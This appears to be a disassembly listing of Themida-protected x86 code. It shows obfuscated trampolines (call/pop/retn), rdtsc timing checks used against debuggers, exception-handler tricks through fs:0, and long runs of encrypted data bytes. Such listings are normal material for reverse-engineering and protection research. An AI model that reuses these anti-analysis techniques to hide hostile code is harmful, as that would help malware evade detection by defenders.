		mov	byte ptr [eax],	0
		mov	eax, [ebp+6140FC9h]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+6141869h]


loc_5B6761:				; CODE XREF: Themida_:005B6747j
		pusha
		push	dword ptr [ebp+61774DEh]
		lea	eax, [ebp+61774E2h]
		push	eax
		lea	eax, [ebp+61776DAh]
		push	eax
		call	dword ptr [ebp+6141239h]
		add	esp, 0Ch
		popa
		push	0
		push	edi
		call	sub_5B678B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B678B	proc near		; CODE XREF: Themida_:005B6783p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5B678B	endp

; ---------------------------------------------------------------------------
		db 89h
		dd 2A8AA758h, 27E2C454h, 0ED858907h, 6A061433h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 5FD1C355h, 0A13838A9h, 4D9D8940h, 8D061413h,	1776DAB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0FB29B31Ah, 0EE96832h, 5F000000h, 36F67511h
		dd 350AE1FBh, 13F7AE28h, 0DDBD8D7Ah, 0F061420h,	681h, 0E9958900h
		dd 80061416h, 840F003Eh, 8Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 60C35343h, 0A6670C0Fh, 86977E97h
		dd 0E19BD89h, 8B600614h, 142A3D95h, 59853306h, 61061415h
		dd 6E860A4h, 0CA000000h, 0B474BD6Bh, 84AABA45h,	8B5E68A5h
		dd 140C49B5h, 0A0E96106h, 6AFFFFFFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0EF77C350h
		dd 0B5D9C197h, 0CF5F8797h, 0CE9h, 0E5B18100h, 916B4E41h
		dd 0C8AAE19Bh, 60C02B5Bh, 0CF59D8Bh, 0AA610614h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 11C35040h, 29F983B6h
		dd 141DBDBDh, 7B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 1B964DC3h, 17BF6660h
		dd 0EDBD03F3h, 61061404h, 5185C7FCh, 1061402h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 7770C357h, 975E2BE4h, 14E966h, 0F50F0000h
		dd 0FF3E57D5h, 0CEB1DFEh, 0D2B14483h, 974C2658h, 8D8D8DD4h
		dd 6144DFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	84C35242h, 0D124E793h, 89602987h, 14166995h, 18A0F06h
		dd 0FC000000h, 6AE1FF61h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F3BC351h, 1582h, 0CE96000h
		dd 0CF000000h, 0A2CD83E3h, 8087022Fh, 6090B1D2h, 85016161h
		dd 6141F99h, 10E9h, 0CEA1FE00h,	5D8F80FAh, 10FABE6Bh, 625AF5F2h
		dd 245C8B5Eh, 0E8550Ch,	5D000000h, 8E53ED81h, 838B0617h
		dd 0B8h, 74DE8589h, 858D0617h, 6178B91h, 0B88389h, 335D0000h
		db 0C0h, 0C3h
; ---------------------------------------------------------------------------


loc_5B6A12:				; CODE XREF: Themida_:005B66FAj
		jmp	loc_5B6A22
; ---------------------------------------------------------------------------
		db 6Ah
		dd 0B7DBA78Fh, 0B96A50D1h
; ---------------------------------------------------------------------------
		jnp	short loc_5B6A9E


loc_5B6A22:				; CODE XREF: Themida_:loc_5B6A12j
		push	0
		push	ebx
		call	sub_5B6A2D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6A2D	proc near		; CODE XREF: Themida_:005B6A25p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B6A2D	endp

; ---------------------------------------------------------------------------
		db 5Dh,	7Dh, 0ADh
		dd 33BCDFE0h, 850FFC55h, 1, 850F60F5h, 0Ch, 68F0Fh, 8F0F0000h
		dd 0
; ---------------------------------------------------------------------------
		lea	eax, [ebp+617907Dh]
		jno	loc_5B6A7A
		jmp	loc_5B6A7A
; ---------------------------------------------------------------------------
		pusha
		or	eax, 0D5A0EE7h
		dec	ecx
		jno	short loc_5B6ACE


loc_5B6A7A:				; CODE XREF: Themida_:005B6A66j
					; Themida_:005B6A6Cj
		push	eax
		push	eax
		push	edx
		pusha
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		push	ecx
		pop	edi
		popa
		rdtsc
		ja	loc_5B6A91
		pusha
		popa


loc_5B6A91:				; CODE XREF: Themida_:005B6A89j
		pop	edx
		pop	eax
		mov	[esp], eax
		mov	[ebp+6141BD5h],	eax
; ---------------------------------------------------------------------------
		db 64h,	0FFh
; ---------------------------------------------------------------------------


loc_5B6A9E:				; CODE XREF: Themida_:005B6A20j
		xor	eax, 0
		push	0
		push	edi
		call	sub_5B6AAE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6AAE	proc near		; CODE XREF: Themida_:005B6AA6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5B6AAE	endp

; ---------------------------------------------------------------------------
		ja	short locret_5B6AF9
		sbb	eax, 0ED95890Ch
		push	es
		adc	al, 6
		jmp	loc_5B6AD8
; ---------------------------------------------------------------------------
		db 0B2h
; ---------------------------------------------------------------------------


loc_5B6ACE:				; CODE XREF: Themida_:005B6A78j
		and	ebp, [ecx]
		mov	eax, esi
		iret
; ---------------------------------------------------------------------------
		db 58h
		dd 89944CFDh
; ---------------------------------------------------------------------------


loc_5B6AD8:				; CODE XREF: Themida_:005B6AC8j
		mov	large fs:0, esp
		push	0
		push	ebx
		call	sub_5B6AEA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6AEA	proc near		; CODE XREF: Themida_:005B6AE2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx

locret_5B6AF9:				; CODE XREF: Themida_:005B6ABEj
		retn
sub_5B6AEA	endp

; ---------------------------------------------------------------------------
		dec	ecx
		pop	ebx
		push	eax
		xor	al, 6
		xchg	eax, esp
		or	esi, [edx]
		fdivr	dword ptr [ecx]
		pusha
		and	edx, 23A2749Bh
		add	ecx, [ebp+61419ADh]
		popa
		lea	eax, [ebp+6179136h]
		push	0
		push	edi
		call	sub_5B6B23
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6B23	proc near		; CODE XREF: Themida_:005B6B1Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5B6B23	endp

; ---------------------------------------------------------------------------
		mov	eax, 0AC6FBDFCh
		test	edi, eax
		mov	[eax+1], esp
		jmp	loc_5B6B47
; ---------------------------------------------------------------------------
		dw 7FB3h
		db 4Ch,	1Eh, 0DBh
; ---------------------------------------------------------------------------


loc_5B6B47:				; CODE XREF: Themida_:005B6B3Dj
		mov	byte ptr [ebp+6140849h], 4Fh
		push	0
		push	ecx
		call	sub_5B6B59
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6B59	proc near		; CODE XREF: Themida_:005B6B51p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B6B59	endp

; ---------------------------------------------------------------------------
		db 0D9h, 0EEh, 6Dh
; ---------------------------------------------------------------------------
		cmp	ah, [edi-0Ch]
		add	[eax-48h], ebp
		clc
		or	ebx, edi
		jmp	loc_5B6B81
; ---------------------------------------------------------------------------
		dw 4EDFh
		dd 0F728B4D9h
; ---------------------------------------------------------------------------
		pop	ebp


loc_5B6B81:				; CODE XREF: Themida_:005B6B75j
		xor	dword ptr [esp], 5C18C92h
		push	0
		push	ebx
		call	sub_5B6B93
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6B93	proc near		; CODE XREF: Themida_:005B6B8Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B6B93	endp

; ---------------------------------------------------------------------------
		pop	ebx
		cmpsb
		and	esi, 0FFFFFFFFh
		mov	ch, 65h
		sub	al, 14h
		push	es
		push	0
		push	ebx
		call	sub_5B6BB8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6BB8	proc near		; CODE XREF: Themida_:005B6BB0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B6BB8	endp

; ---------------------------------------------------------------------------
		dd 8B8A5E14h, 858DFB69h, 61778FEh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 85C35545h, 4395080Eh, 0BB666087h
		dd 19B0AD4Bh, 0FD0FF61h, 18Ah, 0C7E9FC00h, 0F000000h, 88Dh
		dd 8D8B6000h, 6143111h,	245C8B61h, 0E8550Ch, 5D000000h
		dd 9087ED81h, 858B0617h, 6140C2Dh, 2C658589h, 858B0614h
		dd 6142965h, 44D8589h, 858B0614h, 6142B25h, 23F18589h
		dd 85C60614h, 6140849h,	0C685C700h, 61779h, 8D000000h
		dd 17913685h, 0B8838906h, 5D000000h, 6AC3C033h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0C10FC355h, 458D8960h, 89061415h, 1425C98Dh,	0E9F56106h
		dd 0Dh,	5402CA3Eh, 707CD6BCh, 362C6BFBh, 51006AE1h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0E77FD4B9h, 30B393D0h, 74BCC8A1h, 10012FFh, 142601B5h
		dd 68F0F06h, 29000000h,	141EF985h, 58F6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5B6CFB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6CFB	proc near		; CODE XREF: Themida_:005B6CF3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5B6CFB	endp

; ---------------------------------------------------------------------------
		db 9Bh
		dd 7EA68CCEh, 38BCB610h, 0DE9h,	0E99B1900h, 0B10CE1A5h
		dd 0BF03B48Ah, 0C4834B35h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 61EC2771h
		dd 0AE8h, 75CEE200h, 0D1BBF57Dh, 66FA9C6Ch, 0E7A0DF81h
		dd 1B50358h, 81061412h,	5B3DC0h, 0AE800h, 0F2750000h, 0CF57EC68h
		dd 0ED14D63h, 6459589h,	335A0614h, 334FFDBh, 0BB9B58Bh
		dd 9590614h, 140B4195h,	0B8E98106h, 0E92D1F40h,	12h, 15908A75h
		dd 4865194Ah, 0B09A8B2Dh, 5F867350h, 0E9817734h, 3F1E4726h
		dd 7E9h, 84194B00h, 42C434FEh, 47ACC181h, 0B58B4FC7h, 6140F55h
		dd 8F2CB651h, 8B661804h, 83F28BFEh, 0BD8904EBh,	6141E61h
		dd 0A584FB81h, 850FFFFFh, 16h, 2E58D01h, 1BE90614h, 6B000000h
		dd 26214889h, 900B02CBh, 8D89E52Ch, 6141EEDh, 0FFFF74E9h
		dd 68DCE9FFh, 0E7E99C26h, 97000000h, 9753A566h,	838A055Ch
		dd 1D76A188h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h
		dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh,	20A1E4A9h
		dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h
		dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h
		dd 50F0362Bh, 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h
		dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h
		dd 43E90000h, 6800000Ch, 617956Fh, 0FCED6FE9h, 967E68FFh
		dd 65E90617h, 68FFFCEDh, 6179750h, 0FCED5BE9h, 982E68FFh
		dd 51E90617h, 68FFFCEDh, 61798C6h, 0FCED47E9h, 996168FFh
		dd 3DE90617h, 68FFFCEDh, 6179A7Bh, 0FCED33E9h, 9B9A68FFh
		dd 29E90617h, 68FFFCEDh, 6179C95h, 0FCED1FE9h, 9D3668FFh
		dd 15E90617h, 68FFFCEDh, 6179DFFh, 0FCED0BE9h, 1F92B2FFh
		dd 27B8C1Bh, 2B6661FEh,	534A78E7h, 7C3150CFh, 0A91933B8h
		dd 8423E79Ah, 9D0A0E87h, 75F23671h, 0B9D45853h,	156E542h
		dd 0A6ED55E7h, 88584DBh, 6567000Ah, 4C790636h, 0B21D3951h
		dd 24B0C05Bh, 23AB8FECh, 3153080Ah, 3FCEB67Ah, 1F53249h
		dd 1A49DC0Eh, 47790636h, 3557D054h, 4BF73646h, 0DE55E419h
		dd 192B5AB1h, 0A81B6962h, 0E3630D18h, 2FB878BAh, 0D3C791Dh
		dd 8655E4AAh, 116E9E82h, 5A8CBCEFh, 95B7D63Dh, 68B622E6h
		dd 768BA8C4h, 525h, 366567A2h, 43477906h, 0F09257E2h, 4468EC53h
		dd 0A021C0C0h, 78DCECA1h, 34862754h, 3D49DC63h,	0BD802159h
		dd 9D55E482h, 0C2BBC86Eh, 0B2D1AEDEh, 28B7CFFFh, 0E16C79C1h
		dd 98A2488Ah, 343C8BA8h, 0F8000000h, 0DBD2F48Bh, 0F0846559h
		dd 6CCC5ADBh, 10549DCh,	9C95A809h, 0E87755E4h, 0F233AE81h
		dd 55E49C47h, 0D6BA78DCh, 8BA89B08h, 86F51756h,	0D6F38Ch
		dd 67390000h, 79063665h, 2C24574Ah, 3C60E2C9h, 93AE5A6h
		dd 512E9E94h, 334C7C2Fh, 0E5969A11h, 1BC84A6Fh,	63987B41h
		dd 0F0C277C2h, 8A888C53h, 0F0C6470Bh, 8A010353h, 0A5D8EA71h
		dd 0DC564B7Ah, 2798B14h, 573920Ah, 2E8DA9F6h, 0D92649DCh
		dd 88BBE4AEh, 0B55E4FEh, 3BFFE307h, 0BDCEBA4Bh,	0CBA61F70h
		dd 1F2C104Fh, 0F5B0DDACh, 1CB341C5h, 0ABD8A7EDh, 7F7EDAF2h
		dd 5FDB81CCh, 5BDFC347h, 3FC0BDCCh, 62FFC794h, 7FEEBC2Ch
		dd 8000009h, 0E68185F8h, 0FB64A8E5h, 0D651D5D0h, 0AE39FDB8h
		dd 9D1EE29Fh, 81FC0BBBh, 0A8E5E27Dh, 0D4CFFB64h, 0C6B5D750h
		dd 4BD45742h, 55E707F8h, 67D4D87Bh, 9AF13568h, 3F261CCAh
		dd 0AA685D29h, 0A3D8D3F5h, 0D8F0ADDCh, 3002B67Ch, 0E01B6180h
		dd 0DC6CD747h, 40D62849h, 0D0CDFAD5h, 31CA5CB8h, 0BAD2F607h
		dd 0E4A2C47Bh, 0D0272655h, 0A8BC5C82h, 0A8A3BA8Bh, 0F04427EDh
		dd 50000000h, 6366567h,	0F2A54A79h, 8AFBD7EFh, 0FF7586AAh
		dd 38E81DBBh, 1BAB69AEh, 0F0E6D09Ah, 42E35E53h,	53F0E6F7h
		dd 550A080Ch, 2BB47833h, 0FE696219h, 0F0E682B1h, 0E23D0153h
		dd 3793ABE6h, 8859C1FDh, 0C46ECFFCh, 7D49DC0Eh,	89ADE0E2h
		dd 5CDEEB72h, 0FE5A722Bh, 433E4DDAh, 608101B1h,	4446E714h
		dd 0CD4FCB7Bh, 66C73249h, 5FDBA3EBh, 9D2EE468h,	0B39BFCEh
		dd 95F6C90h, 0ABE918C8h, 7838FA18h, 524B7C03h, 8754DE3Ah
		dd 71121588h, 962FFA9h,	8708391h, 0E9190000h, 0D4F572B6h
		dd 0BFCA55D9h, 0A3A13EC2h, 8CBB24E8h, 0AA8E0D11h, 6CB0ED1Ch
		dd 5BDFD6F3h, 41C5C0CCh, 25E9A4A6h, 85B4F148h, 1E55E704h
		dd 0FD8B33F5h, 5004920h, 29A39688h, 87B7EE1Bh, 3001F03h
		dd 1C16728Ah, 0C94D404Fh, 0E49FABB2h, 9BB770D4h, 4B7D12E0h
		dd 6706CC50h, 0FB8FC465h, 0EE1E95B3h, 0D2F4B46Ah, 76090125h
		dd 33D55954h, 0FF8D5C8Ch, 65B4CCh, 7544A444h, 57A30CBFh
		dd 0E849DCC6h, 83949564h, 9354BCB0h, 0B9B48720h, 4BCF572Dh
		dd 6014F5C9h, 639CCA6Bh, 0F1554D01h, 0E8583DAh,	0A140B804h
		dd 3E07A0DBh, 0F6432E43h, 0CAC3C49Bh, 241756B2h, 0BF42F843h
		dd 252959DBh, 46355716h, 682325C2h, 220A10A7h, 6230A85Eh
		dd 79Eh, 0A0641737h, 93970607h,	78BCF914h, 66AAE1EFh, 53D7CAF9h
		dd 2F5EE4C8h, 1431AE72h, 0FE0A9599h, 0DEE07F83h, 0B30E6BAFh
		dd 0E705C772h, 8D375C55h, 0FDC46567h, 0C4446C55h, 51C9C1E5h
		dd 44B7C4B0h, 7D8D0805h, 0F645E219h, 0D53F001h,	688A0B09h
		dd 0C649DCEDh, 7080558Eh, 0DC56358Dh, 2F5CA0A4h, 0B9939859h
		dd 5AC58C82h, 0FE5A722Fh, 1B618034h, 502047E0h,	77DB4FCCh
		dd 88030544h, 0B2E91B84h, 0A2C3229Ah, 0B35898D2h, 272692F7h
		dd 5FDC3914h, 7487ABAFh, 56DCD7F5h, 2E8FFA55h, 5FDC3913h
		dd 7766AC90h, 45F44A49h, 3E4D7EC2h, 0E37A910Ch,	0B266ACE7h
		dd 67631335h, 0C9C1BCD7h, 0B511294Dh, 0E0017991h, 0E6186794h
		dd 0E5427DB7h, 5B987D3Dh, 40CD5236h, 3056D26Dh,	6C0CAD8h
		dd 39490000h, 2425C246h, 0F3AA569h, 0F3118E92h,	0DCEB74B8h
		dd 0FADE5DA1h, 0BC403D4Ch, 0AB6F2623h, 9195103Ch, 75B9F416h
		dd 3504A118h, 4E55E70Ah, 61808305h, 7147E01Bh, 8A49D8E1h
		dd 0CB544F7Dh, 0AAA1C5C0h, 650FB8D3h, 4CE44EADh, 7D8E99BDh
		dd 0AAB1F200h, 6A21E598h, 0B483BEFFh, 3C0055E7h, 742759F6h
		dd 0F84BD447h, 7B55E7B4h, 39A11D17h, 0D0AFDCA8h, 8E39FBB2h
		dd 3407A013h, 4F55E7B4h, 2A4C49CBh, 0C34FCB58h,	0FC0C8984h
		dd 30B37498h, 5062FF99h, 6282AF8h, 0A1A10000h, 8CBD2AEEh
		dd 77920D11h, 5B69F63Ah, 4443DC20h, 1246C549h, 24E8A5A4h
		dd 13178EBBh, 0F93D7894h, 0DD215C6Eh, 5DEC49B0h, 0D655E70Ah
		dd 61807BBDh, 9290A30Ch, 7AB153F0h, 348C4F47h, 0F33176Bh
		dd 0F954B3FCh, 6BEF49D8h, 84F70950h, 0B6E5E780h, 0B9CF1E86h
		dd 529B2582h, 0DE104FCFh, 3D4CFA19h, 0B1CAEEB0h, 11E39EAAh
		dd 0C6B5D796h, 570A5AB5h, 19C466B4h, 0D46DDC1Dh, 62E65FDFh
		dd 4547E090h, 2FBE2656h, 0DD852259h, 1645F305h,	6474ED32h
		dd 9C0C5CE7h, 58D8Eh, 8B060600h, 0B6E71887h, 0DFDAF572h
		dd 0C7BECC5Bh
		dd 0E8A5A443h, 58DA724h, 18878B06h, 0F16EB2EBh,	0C956DAD5h
		dd 5540C4B7h, 0BFA49D6h, 0DA7955E7h, 0CD6567D6h, 0ACDFC3BEh
		dd 0DBF3AEDDh, 0EA0E8784h, 0C1C39C28h, 0AF3E46CAh, 4905A2D9h
		dd 0A249DC63h, 300FAEDEh, 0D255E483h, 509EDC33h, 6E8BA899h
		dd 49h,	1B61804Ah, 6CD747E0h, 0D62849DCh, 491F5434h, 5F567358h
		dd 6387AB2Fh, 9373CA6Bh, 0AA9155E4h, 39FBB2D3h,	0F13F3B52h
		dd 4D8BA88Dh, 0BC66113Eh, 26D0174Eh, 26C15377h,	0BBh, 24053D4Bh
		dd 0BDA764B6h, 0E72D6062h, 3665677Dh, 0B7D69506h, 0EE7224FAh
		dd 56C68F59h, 8D000FDCh, 0ADE0E27Dh, 0CDC0C29Dh, 894E0049h
		dd 0FA0C53F0h, 0DEE07F83h, 0C2CD9CAFh, 0C153B7C7h, 73FE76E5h
		dd 0F3AADB99h, 0A6A97FDBh, 0FBB34152h, 0C06D9EEAh, 49DC7C0Eh
		dd 0F1ACD9A0h, 0BF43C723h, 395226C7h, 0CBFAFAFCh, 0FC0F734Fh
		dd 0DF235E6Dh, 0CB4C4140h, 6300045Ch, 7396A414h, 1C000004h
		dd 0F26DB1ECh, 0CF58DCD1h, 0DA45C9C4h, 0B22DF1ACh, 911A1E93h
		dd 85F817BFh, 0ACE9E681h, 0D8D3FF68h, 0C2B9CB54h, 4FE8533Eh
		dd 55E708FCh, 67D8DC77h, 0C6B5C768h, 0B25C659Eh, 0EB1D8A8Eh
		dd 80A66CB0h, 75E01B61h, 0F0921928h, 7CB69A53h,	6C74E243h
		dd 7B8D49DCh, 434CFFEFh, 0CCFB2441h, 239EADD1h,	0E404B782h
		dd 2E926E55h, 2CD4F531h, 8B020F58h, 9011AD67h, 55E429ADh
		dd 6969804Fh, 8BA947C3h, 0EED3h, 0A8F56000h, 55E43D99h
		dd 9805361Ah, 55E43DA9h, 6AEC262Ah, 6366567h, 9AAC4A79h
		dd 0F95DE811h, 0A3C7C61Ch, 6C2E8FBFh, 2E53F06Bh, 0EE9D611Ch
		dd 67DF4C96h, 0E62C4FF5h, 54641729h, 5C6F1DECh,	1A2976E1h
		dd 3B53F1F4h, 6FAA6501h, 0C4483CBEh, 1F834F4Eh,	0E06449DDh
		dd 0F785641Ch, 7A3E5BC4h, 0F7764FCAh, 0D968B5D9h, 5A5FDCA3h
		dd 5EBAD2F6h, 93A8ACD4h, 0D032BDCCh, 0A200FB53h, 0D1A8A3C7h
		dd 7F3BF9B4h, 56517D0Ch, 0BB50A226h, 0A90E118Ch, 0D962FE51h
		dd 3545361h, 0CDFD0000h, 0B0D14ED2h, 0A3AE39FDh, 878522E6h
		dd 709F080Ch, 5E72F93Dh, 60A4D9E8h, 4FD3CAC7h, 35F9B4D0h
		dd 21E598AAh, 99A8F574h, 1A55E709h, 686737F9h, 0E3BBDCEh
		dd 0E85B7397h, 0F092FC4Fh, 0EF137753h, 0A6D847CBh, 15833F7h
		dd 1B7F8F02h, 8B83FA0Ch, 6703050Fh, 0B5842165h,	0CE53F092h
		dd 4796D44Ah, 70B029B5h, 21233C4Ch, 0BB40A66Ah,	1A9BF809h
		dd 53F00D2Fh, 4647A0A4h, 9F183357h, 49DCF46Bh, 1C6398FCh
		dd 0CE98B0EDh, 152A311Bh, 64AED275h, 590D9899h,	0FB0A3129h
		dd 0DEEF7E8Dh, 5A5370AFh, 284EEFD8h, 0C9E39544h, 98E38CBEh
		dd 6C068D8Fh, 324D7D61h, 0E86C9C11h, 0DB76B7C4h, 58E3AD15h
		dd 40B8D0F4h, 35A0DBA1h, 0AD1559E8h, 7E8DDAE3h,	6B8F0B03h
		dd 0A8911EA9h, 2BF9829Ch, 0A2B91427h, 6926ECA1h, 47E02457h
		dd 0E6A1AD45h, 0DAE23DC2h, 9AF2B8B5h, 25988h, 0DFD2F200h
		dd 0C2BBCC5Bh, 0EBA6A13Eh, 138AB827h, 3C71900Fh, 0E95973F8h
		dd 0C463A7DAh, 0DD4ACEC7h, 0B532F6B1h, 79141893h, 0E96A502h
		dd 0E62D55E7h, 36656722h, 0B8D69506h, 6A8E0B06h, 87F514A8h
		dd 77732B74h, 98FC49DCh, 11BF7294h, 367784F0h, 4FC84EDCh
		dd 463D4B12h, 2040D236h, 32502F5Ch, 6FCCB97Bh, 134E20D4h
		dd 7586F213h, 6AD3FA28h, 0E7177B81h, 0E11A6E7Fh, 15D3FF44h
		dd 19283787h, 0F65AAE64h, 98486C5h, 22596BF2h, 0AC64AE2Ah
		dd 62611133h, 0B3040B2Fh, 4F9A489Ah, 1B8CDDFh, 31510000h
		dd 1C2DBA7Eh, 7029D61h,	0EB19868Ah, 0D4F36CB0h,	0E2D655D9h
		dd 0B4783554h, 0A3671E2Bh, 898D0804h, 6DB1EC1Eh, 0CD7CB900h
		dd 4655E70Fh, 65678B0Dh, 4F9E0636h, 3F791ECBh, 226ECFFh
		dd 0BDCF9E09h, 0D85ABECEh, 0DC5539DDh, 0B2BC3249h, 560B1939h
		dd 4F05365Ah, 717E07D5h, 24EC265Ah, 678630C2h, 0F08FFA11h
		dd 25A1D9D4h, 894EEEFh,	0BEAD4FC8h, 0D8F9C271h,	0D9FD415Fh
		dd 0E490C360h, 0CE1F10ABh, 0C9FA81BAh, 0F26D5ED4h, 1525606Bh
		dd 247263B1h, 7A8CC718h, 69ABE2E3h, 9D053519h, 7C03384Ch
		dd 0DF3B534Ah, 74CD6A55h, 0FF82F098h, 0E719609Bh, 97B3434Fh
		dd 50D4F81Ch, 41C6B5D7h, 9DE3DEFAh, 0EF182A82h,	98000000h
		dd 76F13568h, 4BD45855h, 26C14540h, 3EA96D28h, 0D8E920Fh
		dd 316C9B2Bh, 585572EDh, 443F4BD4h, 762527C0h, 3B64C7B2h
		dd 55E70F08h, 6744488Bh, 9E063665h, 0A502394Fh,	49DC4385h
		dd 0A5D65A3Eh, 0A35EED4Ah, 3E7755E4h, 90081730h, 2DE76B5Fh
		dd 0F3C4899h, 0CC471AAEh, 44409F4Fh, 57162549h,	178EBC36h
		dd 4F7F63E7h, 0E27D49CBh, 1269ADE0h, 36463D4Bh,	798B40D2h
		dd 68AB0A02h, 20F46FA1h, 0C536B22h, 0CEE75FEh, 78F721BBh
		dd 2A5B2454h, 0C9208F73h, 0DB329D41h, 0EC189AACh, 1E898DB1h
		dd 44394AECh, 0C7F7AEDBh, 0B12C5F43h, 2F1EC574h, 38FA5E32h
		dd 43401F8Ch, 0F6B1DD4Ah, 2A616F3Ch, 2F46B512h,	854564FCh
		dd 0D16B08E4h, 37A8C43h, 0DD5E60FFh, 1E663AF5h,	2B2347B4h
		dd 0D19h, 1F8C9700h, 923003ACh,	0CFB353F0h, 6767C345h
		dd 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h
		dd 8EBCC3FBh, 6D98E717h, 46471830h, 531F2757h, 0C381E389h
		dd 4, 3304EB83h, 1C31241Ch, 241C3324h, 0E389535Ch, 4C381h
		dd 0EB830000h, 241C8704h, 2434895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		mov	edi, 10192869h
		xor	edi, 1EF757B0h
		xchg	ebp, edi
		inc	ebp
		xchg	ebp, edi
		sub	edi, 0ABD0E36h
		sub	edi, 0FE19DDCFh
		mov	esi, edi
		pop	edi
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	4ED2h
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dw 0E116h
; ---------------------------------------------------------------------------
		fbstp	tbyte ptr [edi]
		mov	eax, 6179F13h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 9
		dd offset byte_5CB521
		dd 0F56012B4h, 0E01213CCh, 0D7409918h, 313E090Eh, 3251506Fh
		dd 9664E21Eh, 0F2755119h, 0CB742CC9h, 5E360604h, 0B779CBE4h
		dd 0E9382224h, 2Ah, 7EF9816Eh, 9 dup(0)
		dd 40E90000h, 70000005h, 4ED95D50h, 23BC403Dh, 3EA96D28h
		dd 16919510h, 0F576BAF7h, 595473C3h, 403D4AD5h,	6C2723BCh
		dd 9E0D3FA8h, 238CFF9Ah, 55E73210h, 67BC6093h, 0C7C2CD65h
		dd 0B5D4ABA3h, 0D44734F8h, 0F092F84Bh, 0E4177B53h, 0F09288BBh
		dd 0D070B53h, 59712C5Eh, 71890406h, 0A8A0DDEEh,	0C9C1BCD7h
		dd 0EC1C99B6h, 62A8CFA8h, 8BBAD1BEh, 61FE0279h,	79E62A65h
		dd 0CE39524Dh, 0F092D261h, 27ED5153h, 0D2CBF887h, 97FE5DBAh
